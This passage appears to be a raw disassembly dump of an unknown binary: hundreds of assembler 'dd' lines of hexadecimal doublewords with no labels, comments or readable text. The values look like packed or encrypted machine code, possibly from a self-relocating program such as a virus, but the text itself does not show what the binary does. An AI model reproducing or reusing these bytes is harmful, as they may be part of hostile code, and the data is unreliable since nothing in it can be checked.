0FD5FDFF1h dd 7BF7DAC5h, 0BCE75492h, 30A8954Ch, 2B517D13h, 0E104E31Dh dd 0ED53EB38h, 22D9A7B5h, 0B046EB14h, 45929F60h, 772E9EC9h dd 6531DB8Ah, 0B8485657h, 105DCC2Fh, 0CCDA1278h, 0B1D1DAFEh dd 0BC99DF01h, 94918h, 0FF1ACA00h, 48E11969h, 968362B2h dd 0E150B000h, 2900FB4Bh, 0EE117A93h, 36861C0Dh, 83D369C8h dd 0CD1DB37Eh, 9469FF32h, 96AA8E7Bh, 4C325A7Fh, 0F839C6C7h dd 0FB36C9ABh, 1CEADAAEh, 0C077BA45h, 5AFE99ABh, 0C0AB828Eh dd 922F4D31h, 0CF07D554h, 0A007B1DDh, 30E8457Ch, 93000001h dd 0ABF839C6h, 65FB36C9h, 280CF90Eh, 0B05491D4h, 0D304AAE2h dd 66C5B269h, 0E65176E0h, 0CDE2CB18h, 78E0FCE0h, 7EB6845Ah dd 78E0B393h, 0B2484E5Ah, 9BF51DC7h, 34FE40h, 0BFA90000h dd 0A18E4AB1h, 5491D3BDh, 0D9117745h, 0E1980033h, 76FC2DF4h dd 92DFAD51h, 78FBF1D1h, 70868C5Ah, 9BD45B05h, 0BB3C40h dd 0D7E50000h, 21B90623h, 39C6D8E9h, 0B4C2ABF8h, 9FABE346h dd 9780CD5Ch, 7D6A7689h, 5491D399h, 0B5ED5321h, 8EDB56A9h dd 0C96897A5h, 0A0ACE47Ch, 0D3CD25Fh, 5491F936h, 54EA47B8h dd 18CF396Ah, 0FF321603h, 29BC5491h, 0DB263EF0h, 0B710956h dd 0F3D3C0D3h, 7351788Ch, 1EE0EEA5h, 0BAC8DB13h, 0D0619E41h dd 0EF85EB83h, 8F7C5C9Fh, 5A7BB0ABh, 0DBFF6533h, 0E4ED52DAh dd 0B21C5A2h, 8000008h, 57A73DDCh, 0A0F086A3h, 0EE3ED445h dd 39891F12h, 0B8D167C2h, 5ACF2C4Fh, 0A78A74C4h, 0F140C111h dd 3DF40B5Bh, 0CCB9D2A7h, 5A7F97E8h, 0C6058A70h, 75EF435h dd 0F42C05F9h, 841A17E8h, 0F839C62Fh, 0FB36C9ABh, 2885365h dd 2CB60000h, 0EDDA91FBh, 5176D072h, 0E0F5AC7Ah, 78F10FF3h dd 91C9975Ah, 0F04727E8h, 0DCE25A78h, 0E1B15B0Eh, 0DFF1409Bh dd 0DFBAA5CAh, 53C5FD6Eh, 232h, 0D406E7FEh, 0CDF65491h dd 818FA45Bh, 0CD65B27Fh, 6B30AA95h, 1E33517Ch, 7F8D4D31h dd 0C9B6D55Ah, 5A7F8DE5h, 1399F6Dh, 606E25F3h, 0C6DB929Fh dd 7F8DF5D9h, 0A78B785Ah, 2F5A7F8Dh, 0A9E1AF61h, 4B9867B7h dd 469509E1h, 0D11E8458h, 3BA2255h, 647F6716h, 26D4E257h dd 0EFBDCB03h, 263F4CBh, 3BDFBCDFh, 726h, 8C22F7EDh, 0D56BBE3Ch dd 23B96085h, 6E042DD3h, 0B64CDD1Eh, 0EA11349Dh, 0A559A93Fh dd 5BA6F68Ch, 0FF040D6h, 9EB78C22h, 7F98CDB1h, 0EA6F555Ah dd 0E049B1BFh, 5744FB93h, 5491D373h, 0E9F52DFBh, 0E5CE1B16h dd 0B90623D7h, 22DDE921h, 0AFEEC20Fh, 0F1E11D9Dh, 8AC25780h dd 0DE2130C6h, 0E791BD53h, 0C8457C5Ch, 162h, 0F839C673h dd 0FB36C9ABh, 3C5F3244h, 479C62Fh, 0C7F0DACCh, 55909E55h dd 8C798CC4h, 51776E2Dh, 0D192DFADh, 5A796DF1h, 570868Ch dd 409B625Bh, 5F3Ch, 0B2D3E500h, 3A7742FEh, 2C0C1D55h dd 0C5DA91FBh, 0D45DA2B0h, 91D36145h, 0E31BE954h, 76FC31F8h dd 395B151h, 498CF317h, 5A1B68CEh, 5A79917Ah, 0E12E03FCh dd 1BE601FFh, 0BE63B016h, 7E159A70h, 4DE41B29h, 6C306800h dd 4241EB9Eh, 9B22409Bh, 0CB000000h, 38EC3DBDh, 0F8AD12D9h dd 91A2DA08h, 0FDAA39C6h, 38A9132h, 331562C8h, 321461C8h dd 351764CDh, 7AD167CAh, 0AF518E6Ch, 379D3582h, 2F1A52EAh dd 54927568h, 861C15EAh, 4A016B9Ch, 79A77D5Dh, 1CE5FD51h dd 0EAF8AF15h dd 34CC1910h, 20DBE9FCh, 0D8237309h, 389C2D51h, 7E4E4ECh dd 5D563h, 73A63E00h, 0BC6D8DDDh, 0A0FD626h, 55DC2474h dd 9D8C6FBFh, 6285EE07h, 0AAFA9099h, 0F747DD54h, 4191270Ah dd 8DD73BEh, 9A1E02EFh, 0C0A65A7Fh, 0F435C63Bh, 40F10E5Eh dd 0B1BF55AAh, 0FF97E44Dh, 0ED44BBC7h, 0A241BEA0h, 4FB2E9DEh dd 25AB2EE2h, 4F09F5A9h, 903CBFDh, 6ADAECA3h, 4DDC1ED5h dd 44150699h, 33081A0Ch, 69000000h, 0DF3DA65Bh, 940AAF5Dh dd 0FD95E248h, 39C6B4C5h, 90DD4CAEh, 634592F8h, 9648959Ch dd 42BD9462h, 0DCDC28A1h, 15C5DB87h, 47DD43E6h, 3135h dd 0ADBF9800h, 0E4377B3h, 8863FE30h, 0D7BCAD61h, 0A55A669Eh dd 2C2B583Eh, 0A65DAA7Fh, 9230D5B9h, 298F5D54h, 313C1BDCh dd 63455492h, 0F041BE95h, 39C6055Ah, 0B0C2ABF8h, 7888FDF4h dd 7C225AE2h, 97934Bh, 63046167h, 94E148B3h, 0F2DF96FCh dd 517D5CD2h, 48A4BBCDh, 4B7CB758h, 0DF177DB4h, 3E4C03D1h dd 8ADA70C1h, 9A7E6B75h, 225A805Eh, 25A1EE54h, 0BED38AF2h dd 96E34EB0h, 9CDBC6FEh, 1C576AF6h, 0D6CE2600h, 8E6DBD95h dd 50B64E9Bh, 81CE5BA0h, 0BECC83E9h, 0A5AF041h, 240DF2F5h dd 0C2F571BEh, 2BB6A35Ah, 335D5324h, 0DB924165h, 9E6D913h dd 48165h, 0C7529200h, 1019E131h, 5EBB2A7Ah, 0A98878C8h dd 0F138C313h, 0B6D9425Bh, 0FE4EE445h, 4B9B3100h, 95E57BB6h dd 5C31C76Ah, 9A725643h, 14FA5A7Fh, 6CADBF8Fh, 4C301D7Ch dd 0D454925Eh, 0EAC5206h, 956A76AEh, 49B6069Ch, 46B99BE8h dd 0DACA9EEBh, 67CA350Ch, 5FBA5D1h, 42DC457Ch, 87000000h dd 0DF4AB1BFh, 66D601A7h, 0D25FA1AFh, 0A2B5ED85h, 769EF1B5h dd 0F4AB7951h, 80161BE6h, 79207351h, 0D60AF55Ah, 792105E9h dd 59BF8D5Ah, 0A38E73C3h, 6B586D56h, 5A792087h, 3B09410Fh dd 3E2h, 0F839C69Eh, 0FB36C9ABh, 5E422F44h, 0E65491D3h dd 4EEE018h, 9DB269D3h, 91D3CCB0h, 4E865454h, 0DFEF4E3Bh dd 0A16F5176h, 0DFB39354h, 0CA355A78h, 0DF452916h, 0FFCD5A78h dd 93664C99h, 13C163D0h, 87925303h, 8064513Ah, 85A79B7h dd 7086BA3Ah, 0AB1120E1h, 8DF80E14h, 409B1CE3h, 49D01523h dd 3F9F11h, 36480000h, 0F3B3C8C3h, 0DC5583A6h, 0E053C377h dd 2C283971h, 0EDDA91FBh, 5176FC26h, 0B69A87A6h, 3C5A78FBh dd 5363D693h, 0F1BF7173h, 9D7D3E8Bh, 385A7957h, 7B1A432h dd 0E8409B78h, 101h, 0F839C693h, 4CB4C2ABh, 48B698E5h dd 3F4B83E9h, 3E206DBCh, 412370C1h, 0AEDD73BEh, 5491D147h dd 3D2AB649h, 5491D759h, 0FC35C9E1h, 4BB117AFh, 0AE505EB5h dd 1F6CC539h, 0DDE92187h, 0F920C522h, 33CEDC93h, 81B04EFEh dd 0A5B7A049h, 81DB2B2Bh, 0E58BC301h, 7E934AB2h, 53A09170h dd 0A59883BBh, 0A85177BAh, 0E0C2A693h, 7C4A5A79h, 0E0F4D8C5h dd 0AE7C5A79h, 0E39A6876h, 5223A2D1h, 3D759257h, 65E2F44Bh dd 0D5FC19E3h, 0D700A6DEh, 8B99AE65h, 0D971BE73h, 8A50B6A1h dd 394B5760h, 46220152h, 3E4C8450h, 50ABB970h, 0D7EC43D9h dd 0B0FD1CC9h, 7AA58918h, 5F2D6063h, 49E01B27h, 589B825h dd 0CF7350DFh, 276h, 3CD2479Dh, 851B0EECh, 0D369B035h dd 1EB47D83h, 66FC2DCEh, 3AC1E44Dh, 0F50959EFh, 0AB56A63Ch dd 5FA0F086h, 4E673CD2h, 7F9C7D61h, 9A1F055Ah, 5EF435C6h dd 0AA40F10Eh, 4DB1BF55h, 0C7FF97E4h, 0CF86F621h, 0DB4EACBAh dd 0D3BEF68Eh, 5176FC0Ch, 0AC857987h, 818FC75Fh, 780C65h dd 0FD633D61h, 9E0FEFB0h, 0A4AA5A79h, 36792356h, 905A409Bh dd 5000000h, 0ABF839C6h, 0AAF732C9h, 91D182E9h, 0B67B8454h dd 22FD020h, 9E0E39B5h, 0C907FAE7h, 410F5176h, 2696C1ABh dd 7F3D826Fh, 0EFBD575Fh, 58D12A38h, 807E8CA1h, 3DCC64B1h dd 6062A059h, 0E9DB13E1h, 7796299h, 6B1F7EAh, 0DE092D93h dd 2ADF063Fh, 1ACA94Dh, 7D670000h, 44B6069Ch, 0E6FF4FE5h dd 0B34D9D33h, 6398E87Eh, 0AE1730C6h, 23B9708Bh, 70062BD3h dd 0BA50E120h, 69C956Ah, 472B1831h, 0CF5A7F9Dh, 35C664E9h dd 0F10E5EF4h, 0C655AA40h, 0C9ABF839h, 1565FB36h, 829047EAh dd 7E64B178h, 1EF041Fh, 0A5DD4329h, 9B5780FCh, 0B3768463h dd 268004Dh, 0DBFB5E4Bh, 0B5835177h, 6775C368h, 4B022FD0h dd 0EB871B39h, 0DF173435h, 738896EDh, 0AFD87EB6h, 0C699863Dh dd 4E575F87h, 3C4A3380h, 58C124C3h, 0D50DA5F2h, 0AEFB36C9h dd 1C32C8FCh, 0F441F00Eh, 0D4B8A55Ch, 5C6061ADh, 87B0568Eh dd 3B495E15h, 0FADE6DC4h, 826061ADh, 54697CB4h, 2A77BA46h dd 1019E292h, 9F1AEDD8h, 0D4A25D46h, 0B3D5E73Eh, 79B84782h dd 93E0942Ch, 6D79B180h, 0DAE89F92h, 64510821h, 66484A80h dd 59023A08h, 9E5D8A77h, 33D8258Bh, 0BF4017E5h, 65C7624h dd 2424E050h, 0D472268Dh, 0FA90F688h, 3827E710h, 0E3D4CC3Dh dd 7A9F46F6h, 0D705D14h, 95632D12h, 67987AC7h, 4DB37E80h dd 0FF0D5B00h, 81A85361h, 870A349h, 40016451h, 0BB896914h dd 0A0083B25h, 34C6D4E9h, 0BAD2BDF5h, 0BA6F00D9h, 42BD9FECh dd 0F60959EFh, 692DEE3Bh, 2341F553h, 0B54A19EFh, 6996E67Ch dd 84927BC8h, 0CD65B277h, 0BA778995h, 270AF503h, 53A146EFh dd 0E051AE85h, 4DE41B29h, 0B7CC2315h, 16F7E6CAh, 0B8B96CC2h dd 48580A4Dh, 8490C896h, 8069B67Bh, 829A7E6Bh, 5422C217h dd 0C4E1Ch, 58B10000h, 41EFF11h, 1BBA39EEh, 1EC6D2E3h dd 33CCAEFBh, 32CFB1FEh, 2ED0B2FFh, 27D4B603h, 28D3B502h dd 2ED2B401h, 11D4B603h, 21D9BB08h, 576FBB08h, 0C781E789h dd 4, 3304EF83h, 3C31243Ch, 243C3324h, 0E289525Ch, 4C281h dd 0EA810000h, 4, 5C241487h, 68243C89h, 29CCh, 68241C89h dd 5EDBAE7h, 83243C8Bh, 0EC8104C4h, 4, 83242489h, 5B042404h dd 89FA8952h, 148B0853h, 4C48124h, 0FF000000h, 835B2434h dd 34FF04C4h, 0C4815F24h, 4, 0F9B3AAE9h, 43D7A2FFh, 2B2D68C9h dd 67E065C1h, 72B8A93Ah, 305EDCCh, 91E0FFC5h, 7C01B71Eh dd 956A4730h, 2F4635B8h, 7F1D41F7h, 0E8072D19h, 427B6FBEh dd 2157D1B3h, 9841C29Eh, 8D68F764h, 0EDCDD78Dh, 6E805h dd 72900000h, 0A9875146h, 175D9D8Bh, 895F05E7h, 0E71AA98Dh dd 56006A05h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1B04h dd 0C3564600h, 1D3977ABh, 0C5DB0D0Ch, 0EE8h, 903F9600h dd 0D9A02F70h, 729AFDC6h, 891F4658h, 0E71AC58Dh, 85C75B05h dd 5E72A4Dh, 5B00h, 3231B866h, 273985C7h, 5E7h, 6A0000h dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 140424h, 55450000h dd 0B5FFA6C3h, 5E72B45h, 0F2E5D881h, 0B5310168h, 5E72465h dd 179595FFh, 0BABB05E7h, 2B427AE0h, 0E7207D85h, 0FF006A05h dd 0E721C195h, 0EBC08B05h, 3598260Fh, 14AFCD3Eh, 0F6BCC10h dd 4E540461h, 6E8h, 6D178200h, 29A30569h, 0E72D818Dh, 830F5B05h dd 0Dh, 8E9h, 8CFA4200h, 4274E332h, 11C381B5h, 0E9000060h dd 7, 19D7180Ah, 0BE5E34A8h, 0 dd 2459D89h, 0C8B05E7h, 0F98B6633h, 0E10EC181h, 8B6031C2h dd 0E723919Dh, 11850105h, 6105E723h, 7CDFC181h, 958B3DC3h dd 5E712A5h, 6C1AC181h, 9D09261Fh, 5E7200Dh, 85858B51h dd 8F05E71Dh, 800F3304h, 6, 2BFDB589h, 5E905E7h, 22000000h dd 0C90A0D55h, 4D4AEE81h, 0D68B1876h, 4D46C681h, 66561876h dd 815FFE8Bh, 0FFA0D0FEh, 1C850FFFh, 80000000h, 2FE90FE6h dd 6C000000h, 0B2D18922h, 7AA1F224h, 35CBCBAh, 7A854FA7h dd 8B21CCA6h, 0E71BB5BDh, 0FF68E905h, 1982FFFFh, 7E2B44ADh dd 351AD7C3h, 0D42E3438h, 8EB8A0Ah, 0 dd 5E58FB29h, 461E9h, 0CFD36800h, 0A0E905EDh, 68FFF9B1h dd 5EDD049h, 0F9B196E9h, 0D17468FFh, 8CE905EDh, 0C8FFF9B1h dd 1767FD1Ch, 60B046E3h, 0AEFE9485h, 0F949DF52h, 78912702h dd 1A0FEC0Fh, 67CA3484h, 0B18081D1h, 0FD34CB1Bh, 8C799267h dd 5A7FA2A8h, 0C6C54A30h, 2F3DF435h, 78105DCCh, 4AB59740h dd 0DD2230E7h, 402A1C54h, 0D9EEA517h, 0C1F930CBh, 76D36BD6h dd 58A57351h, 78D5B797h, 68C1395Ah, 19C2391Bh, 1E064C76h dd 89D63C5Ch, 0B906614h, 0C2986E74h, 0ACE44DB4h, 9B571AC4h dd 28EFB40h, 57A60000h, 9B0D361Ch, 0E2B4F7E4h, 6E3C5176h dd 0E8998001h, 0D601AFDBh, 0A949D518h, 0E74DA70Fh, 2BFC4330h dd 647C54C3h, 0E5329881h, 17CE3E69h, 0AA42742Ah, 6F26F45Ah dd 0C253325Dh, 38700552h, 49E81725h, 959C63B3h, 0BC527D71h dd 6A0EEBDBh, 2BDh, 38CE4B99h, 811712E8h, 0CF65B431h, 1AB0817Fh dd 62F831CAh, 3EBDE049h, 0F90555EBh, 0AF52A238h, 639CEC82h dd 4A6338CEh, 7FA2795Dh, 961B015Ah, 0DA91FB2Ch, 7C1E5CEDh dd 354A5F51h, 7FA26448h, 8F1EEC5Ah, 5A7FA2ABh, 1F2D6533h dd 6F8C9A51h, 5F503BAh, 0AAFAEC24h, 0CA8BD851h, 0B15BFC61h dd 0FE4F946Bh, 2C568E67h, 0EEA0E74h, 76E4E969h, 247F599h dd 0D50F0000h, 9C5EAE44h, 3EA7F78Dh, 0BF545DBh, 0BB409026h dd 56BFD86Eh, 0CB61C833h, 18AE837Bh, 62F839C8h, 0AE44ED12h dd 0EFD3C0D9h, 775A7FA3h, 0FB2C0C91h, 5CEDDA91h, 64517C1Eh dd 2ED1DF96h, 0A2E1C5B2h, 9B695A7Fh, 9354FD35h, 5A7FA2B3h dd 0C7B2484Eh, 4091371Dh, 16BFEh, 39C6A900h, 36C9ABF8h dd 487B65FBh, 0DD3C29E0h, 5D5176DFh, 0A181428Fh, 3C5A78DFh dd 788AA036h, 0F1DE482Dh, 5A79930Dh, 1F13C795h, 0E400EFD5h dd 0BCBD9EF4h, 8C361E56h, 6D409BB2h, 39h, 91FB2C18h, 0C3B0C5DAh dd 5491D3DFh, 76619967h, 5176FBAFh, 5314612Fh, 5A78FB73h dd 5CF2080Eh, 317EB34Eh, 11F5E299h, 995A78FCh, 1AB93CBh dd 0E2409BD4h, 9Ch, 0AE39C68Dh, 0C57CE237h, 0D3379B3h dd 3C746356h, 0DF4AB193h, 0E24FB092h, 0E54CB395h, 6C96204Fh dd 5FA05492h, 0EE0D1BD2h, 9F56EE3Bh, 926CCEB2h, 50885654h dd 0D943745Eh, 2FF0D22h, 2C0CF72Fh, 0AC5178FBh, 0E21927DEh dd 9A61B147h, 0F9976B8Fh, 4E1E4ECh, 11C60h, 6FAA3A00h dd 0B87189D9h, 613D222h, 51E02070h, 99906BBBh, 5E81EA03h dd 0A6F68C9Dh, 0F343D958h, 3D8D230Eh, 4D96FC2h, 0A51AFEEBh dd 0BCA25A7Fh, 0F435C637h, 40F10E5Eh, 513E53AAh, 5491D36Dh dd 0DEEF27F5h, 0ABF839C6h, 65FB36C9h, 29E0487Bh, 769E783Ch dd 13E80051h, 0EBF9B016h, 54621910h, 70A93CABh, 89E0D20Ah dd 20A38774h, 5D2B5A79h, 5958A5A9h, 427A6858h, 79727757h dd 2B06F95Ah, 979A6674h, 0DE1D6D5Fh, 8E5AFE4Bh, 0BB000000h dd 91DE53ADh, 90DD4CAFh, 495A92F8h, 0DA91FB2Ch, 7C1E68EDh dd 4D9A6851h, 79D946Bh, 8259A2B0h, 0BA4E32BEh, 0E5329869h dd 0E61616FFh, 76DC31FEh, 64CD323Eh, 0E21C2E17h, 737A92FDh dd 0C352058h, 96151280h, 987AC76Ah, 0DE7CC968h, 0A7277482h dd 31CE6573h, 0E51A6A00h, 816FF4Ch, 52EA37F2h, 0E11E2D9Eh dd 0C90153C3h, 0A1EE43BDh, 958AEFCh, 2110F1F6h, 40D63CD4h dd 0D5220FF0h, 0C31h, 0ADBF9400h, 96C08CCCh, 27CB4D2h dd 0FB1EC6BDh, 0FE33CCAEh, 0FF32CFB1h, 32ED0B2h, 227D4B6h dd 128D3B5h, 32ED2B4h, 811D4B6h, 821D9BBh, 97686FBBh, 8900006Dh dd 0BE562424h, 4, 4247401h, 0E189515Eh, 4C181h, 0E9830000h dd 240C8704h, 243C895Ch, 81E38953h, 4C3h, 4EB8100h, 87000000h dd 895C241Ch, 4468240Ch, 89000064h, 2B82404h, 8905EDCFh dd 0EC8358C7h, 24248904h, 4240483h, 8BA5259h, 81000000h dd 831284C2h, 81CA0108h, 831284EAh, 5A3A8908h, 592434FFh dd 8B04C483h, 8950243Ch, 405E0h, 0C0830000h, 24048704h dd 0AD4DE95Ch, 0F97CFFF9h, 0B5B84DEEh, 305EDD2h, 88E0FFC5h dd 1B05C712h, 3840D1CAh, 2A289792h, 0FA307ACBh, 0A475DF8Dh dd 0F57C1243h, 0DC008450h, 34565424h, 0B263ED79h, 971FBE7h dd 0F73AAF06h, 4797C43h, 921FCDBAh, 265E5457h, 267A3889h dd 0F2370ACDh, 3B651319h, 0E86B76F4h, 5, 3226E61Fh, 0A4DF81E5h dd 5A0F167Eh, 80C78166h, 0CEC28127h, 0F000060h, 0C02BCABFh dd 6880Fh, 0C7810000h, 4EBF52A2h, 0E81034FFh, 12h, 1C6643FEh dd 0E7B52985h, 723117A6h, 6622233Dh, 0BE66CDDDh, 5B5E0E31h dd 8A0Fh, 0C3810000h, 51E9E8EDh, 0C9B96660h, 0F8E0F56h dd 0E9000000h, 0Ah, 314408Ah, 1B0B2B5Fh, 81611F5Dh, 0BB7999C3h dd 0E9816646h, 0C3815118h, 5EE2D4B0h, 0F63A2DB9h, 21C8913h dd 7E9h, 66ADD300h, 81D1F6D6h, 0AECCFDBEh, 4E88336h, 0DE8h dd 1176C400h, 0CD433B4Eh, 640AD6E2h, 810FE0A2h, 2, 815E6160h dd 0FF9FF4F8h, 65850FFFh, 0FFFFFFFh, 8D8DC8BFh, 5EDD50Ch dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 15h, 0D7C35141h dd 0E9BD8B5Ah, 8905E711h, 0E71AA98Dh, 94AABB05h, 85C71613h dd 5E72A4Dh, 70A0h, 1841BD89h, 0DE905E7h, 2E000000h, 0B1A956E0h dd 5E67F41Dh, 0EF4A5B7Bh, 273985C7h, 5E7h, 8B560000h, 0E70B2995h dd 0B5FF5B05h, 5E71639h, 25598589h, 95FF05E7h, 5E71795h dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 16h, 63C35242h dd 8D29C898h, 5E7048Dh, 8E5B58Bh, 6A05E7h, 21C195FFh, 0C08B05E7h dd 6BC50DEBh, 6F160786h, 0EBB7A50Fh, 0E80FD75Eh, 14h, 0EA6F8B00h dd 0BBF590Dh, 0EF26CDBFh, 81146E4Ch, 20208290h, 20759D31h dd 805F05E7h, 0C78184CCh, 73C9h, 910A23B8h, 0BA57h, 8D890000h dd 5E70C19h, 8917348Bh, 0E7155185h, 0CFEE8105h, 94B4053h dd 0E70AE9B5h, 0EDF68105h, 0F81483ABh, 0E202C681h, 28B7339Bh dd 0C1816656h, 48F285Eh, 5840F17h, 66000000h, 0C805D081h dd 841B589h, 0EA8105E7h, 56DD13E3h, 6850Fh, 0BD290000h dd 5E717BDh, 13DFC281h, 81F856DDh, 0FF8CFCFAh, 13850FFFh dd 0F000000h, 2AE9C1BFh, 14000000h, 0F632D109h, 15769015h dd 0DE98710h, 9D000000h, 793CC666h, 84A9E3FDh, 0B9CA0F8Eh dd 0FFFF73E9h, 0A1BE80FFh, 0C0CB2C0Eh, 13E851h, 0E2DE0000h dd 3F484709h, 0C2D4A6D2h, 0CC8A7923h, 0FE0F62C5h, 0C0B70FADh dd 51C2815Ah, 8B00005Dh, 0E70A8D85h, 0BF05h, 4AB00000h dd 0E91734FFh, 6, 0D1122646h, 0E959F065h, 0Ah, 1BC91456h dd 893D104Bh, 0C18129BAh, 171BF9A7h, 4559589h, 0F18105E7h dd 740C9D53h, 3E981F8h, 817A0251h, 0B5D253C6h, 3A0C8906h dd 55BD89F5h, 8105E704h, 0F1B85EEFh, 13E84Ah, 0C61A0000h dd 2D468678h, 0BDD3A2C9h, 0BAF0F3ACh, 5A5CE57Ah, 0E0816623h dd 8158C4FAh, 0F1B85AC7h, 0C2BF0F4Ah, 0A378FF81h, 850FFFFFh dd 10h, 1CE9BAB4h, 0AF000000h, 0BB6A9A85h, 3F0DC81Ch, 0FF6AE9F5h dd 0A518FFFFh, 0E9ED14AAh, 0BD522257h, 0E8E72695h, 10h dd 0D98F3C3Ch, 0D7905C7Bh, 8065A1h, 9AA63082h, 5BFBBF0Fh dd 0C381CF8Bh dd 5CA2h, 0E0BDE981h, 75BE50ABh, 8120BC2Fh, 0BC187BEEh dd 7EE48020h, 8E933FFh, 0D000000h, 0BE6DAD8h, 5AC4FE94h dd 5940EA81h, 0EA81528Ah, 5A3233CAh, 662EBF66h, 0C394EA81h dd 0DE8056Dh, 13000000h, 13A289B5h, 8D5D1177h, 0B2BF0AB3h dd 5F1CD080h, 0BDBD8B52h, 8F05E71Ch, 5FD48003h, 8104EB83h dd 509E04E0h, 1EE8314h, 1A850Fh, 0E18A0000h, 2DE9h, 0A8073800h dd 0C3904882h, 4F072581h, 18536E65h, 2A8C72A6h, 0E984E880h dd 0FFFFFF84h, 41340172h, 0D830148Fh, 4335D27h, 82E4B04Eh dd 0C08BFF2Ch, 0C81BD83h, 750005E7h, 19BD8309h, 5E728h dd 53501974h, 21B8C08Bh, 89000004h, 0E7047D85h, 939D8D05h dd 0FF05E9B4h, 83585BD3h, 0E72819BDh, 17740005h, 21B85350h dd 89000004h, 0E7047D85h, 829D8D05h, 0FF05E9B1h, 8B585BD3h dd 4D9D8BC0h, 0C605E713h, 0E732A585h, 52685605h, 0FF9CA8B8h dd 0E72B05B5h, 0A1858D05h, 0FF05EA7Dh, 68046AD0h, 1000h dd 8EDB5FFh, 6A05E7h, 0C085D0FFh, 0D850Fh, 0B80000h, 8D000000h dd 0E772CA8Dh, 8BE1FF05h, 3C38BC8h, 0F8053C40h, 8B000000h dd 0D3030C50h, 1B41BD83h, 0F0005E7h, 0E84h, 419D8B00h dd 8B05E71Bh, 0E71B1985h, 51038905h, 6F858D52h, 0FF05E741h dd 8BFA8BD0h, 8BD18BF1h, 0C6A4F3C8h, 0E732A585h, 39685605h dd 0FFD41F6Dh, 0E72B05B5h, 0A1858D05h, 0FF05EA7Dh, 800068D0h dd 6A0000h, 8BD0FF52h, 81BD83C0h, 5E70Ch, 0BD830975h, 5E72819h dd 50197400h, 0B8C08B53h, 421h, 17758589h, 9D8D05E7h, 5E9B4FAh dd 585BD3FFh, 2819BD83h, 740005E7h, 0B8535017h, 421h, 17758589h dd 9D8D05E7h, 5E9B19Bh, 585BD3FFh, 9D8DC08Bh, 5E71B41h dd 0C00B038Bh, 7840Fh, 38B0000h, 89045B8Bh, 4B41B818h dd 0CAFE0000h, 0A80B67F0h, 8A4FEC77h, 0A80B643Fh, 75EAD5ABh dd 0A80B6497h, 8A4FED7Dh, 57AE5DBAh, 8A4FED2Ah, 0A80B6587h dd 75EAD5ABh, 0A80B6A4Eh, 8A4FE218h, 0A80B6AC8h, 8A4FE29Ah dd 0A80B6B42h, 75EAD5ABh, 0B8D42F25h, 310C78Eh, 458945C0h dd 0F490A751h, 21544F9Fh, 67CDC1D1h, 7DD42F40h, 310C78Eh dd 45894DC0h, 0A790A751h, 21544F9Eh, 67CDDDD1h, 2CD42F40h dd 310C78Fh, 458959C0h, 5390A751h, 21544F9Eh, 67CC29D1h dd 0B5D42F40h, 310C788h, 4588A5C0h, 0EC90A751h, 21544F99h dd 67CC25D1h, 0FD42F40h, 310C788h, 4588B1C0h, 6290A751h dd 21544F99h, 67CC3DD1h, 81D42F40h, 310C789h, 4588B9C0h dd 0E890A751h, 21544F98h, 67CC35D1h, 12B8C340h, 0DF152A50h dd 6CD24ECEh, 8AFD4AA8h, 0F251A245h, 53DFC0D5h, 0ED96A7A8h dd 8A152AA8h, 0A0242945h, 0B496E367h, 0A1D5ADBAh, 0CB152A54h dd 415564C6h, 75EAD5BAh, 3AAE63CEh, 8FF23E71h, 0AB534284h dd 0FFEA2211h, 0A4245D55h, 0CF9C3AABh, 0EDDAC3B9h, 86D7E3A8h dd 44DAF745h, 0EAE9EED7h, 2359D7CEh, 0CFD22629h, 0A851A2B9h dd 62AD6C54h, 351A241h, 27BFEA66h, 3DB2FEEh, 7510C454h dd 2011294h, 8ABEA0D9h, 79AEA7ABh, 0AE51A1ECh, 22DC0941h dd 8FFB2AFFh, 103773BAh, 21732ADFh, 0A8FA28C8h, 5BEA2FBAh dd 8C152BFDh, 988150h, 0ADBFA2EEh, 0D2A5FBABh, 0A42C89EFh dd 0EBE957DDh, 61ADE7CEh, 0DF152296h, 6CD24ECEh, 8AFD4AA8h dd 0F251A245h, 509FC0D5h, 0DDDAA7A8h, 8668A15Ch, 0A8ADE782h dd 0CC152A54h, 880830BAh, 529E2FB3h, 83FC69CEh, 0E2A5B997h dd 0F9FA31EFh, 8ABEA0D9h, 79AEA7ABh, 20949A0Dh, 8C551A23h dd 21848132h, 215DDF6Eh, 174D629h, 6A985E00h, 1402A5Ch dd 549521A9h, 8A15C234h, 290BA245h, 67CFCBBEh, 0A0242940h dd 4D1957DFh, 0A8515E00h, 75532A54h, 4F71FBD7h, 19CDA151h dd 9BFC69CEh, 0E2A5B997h, 0F9FA31EFh, 8ABEA0D9h, 79AEA7ABh dd 20949A0Dh, 8C651A23h, 21848132h, 215DDF6Eh, 174D629h dd 6A985E00h, 1402A5Ch, 549521A9h, 8260A134h, 6F5DDFCEh dd 8A15D611h, 3BFDA245h, 0B91DC995h, 4919197h, 4A38F2DEh dd 2851A245h, 0E1AD5A8h, 0A851A25Eh, 8A1523EDh, 2DA05545h dd 86902586h, 2851A245h, 4B7332A3h, 2337AA8Eh, 0A1BE4C97h dd 0D5D8AE38h, 0CF9E4BA8h, 0A0936BB9h, 669E7F54h, 0C8AD66C6h dd 11D5FDFh, 0ED96AE38h, 8A152AA8h, 69C20E45h, 582622B7h dd 22FD6276h, 8AD5078Ch, 54D1A245h, 939125ABh, 1151A245h dd 8A152A5Dh, 7AD453B2h, 8A1FAF5Bh, 10E0A245h, 4B93E256h dd 39191EFh, 319577Fh, 23305E38h, 48DCD611h, 2304A24Dh dd 76D1A9B8h, 0A0242925h, 4D1957DFh, 0A8515E00h, 0B92A54h dd 0A7B2229Dh, 85E1D4h, 22DC0886h, 8FFB2AFFh, 0F8E173BAh dd 219FA7FEh, 57544C45h, 20D6A085h, 215DDF6Eh, 174D629h dd 6A985E00h, 1402A5Ch, 549521A9h, 8260A134h, 6F5DDFCEh dd 8A15D611h, 0AFE9A245h, 75152A54h, 4F4587D7h, 20452651h dd 0A8FA28C8h, 5BEA2FBAh, 9BFB2BF5h, 85318694h, 0AC59622Eh dd 0AEA58050h, 0A42C89EFh, 0EBE957DDh, 61ADE7CEh, 0DF152296h dd 6CD24ECEh, 0FF9E4AA8h, 0A42C294Dh, 8AE96F93h, 451A245h dd 0D387D5FEh, 23544565h, 4917868Ch, 3DB2FEFh, 7510C454h dd 28E9C494h, 0BE4CBDh, 0D57A0886h, 7668A358h, 54142924h dd 